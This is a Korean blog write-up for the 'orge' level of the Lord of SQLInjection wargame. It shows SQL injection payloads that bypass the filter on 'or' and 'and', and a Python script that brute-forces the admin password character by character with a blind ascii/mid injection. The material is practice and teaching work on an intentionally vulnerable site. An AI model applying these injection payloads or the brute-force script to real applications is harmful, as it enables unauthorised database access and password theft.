본문 바로가기

Wargame(hacking)/LOS

LORD OF SQLINJECTION : orge

Write-Up

 

orc 문제와 유사한 문제였다. 달랐던 점은 or 와 and 의 필터링을 우회해야 한다는 점이였다. 문제를 풀어보도록 한다!

 

?pw=1%27||%20id%20like%20%27admin%27%23

 

" Hello admin " 이 출력되지만, if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); 조건을 만족 시키지 못한다.   

 

?pw=1%27%20||%20id%20=%20%27admin%27%20%26%26%20length(pw)=8%23

 

위 코드를 통해, pw의 길이를 파악한다. 중요한 점은 request 요청 시, &&가 파라미터 구분자로 인식되어 제대로 요청이 되지 않았고, url encoding 시켜 %26로 전달했다. 

 

import requests
import string

url="https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=1'|| "

cookies ={'PHPSESSID':"m6c15ihc3qg0rpcgoaujbiepme"}

char = string.digits+string.ascii_letters
result=""

for i in range(1,9):
    for j in char:
        param="ascii(mid(pw,"+str(i)+",1)) = "+str(ord(j))+"%23"
        URL = url+param
        response = requests.get(URL, cookies=cookies)
        if "Hello admin" in response.text:
            result += j
            break
print("pw: "+result)

 

그림 1

 

 

참고

 

https://keep-going99.tistory.com/669

 

LORD OF SQLINJECTION : orc

Write-Up 첫 번째 방법

keep-going99.tistory.com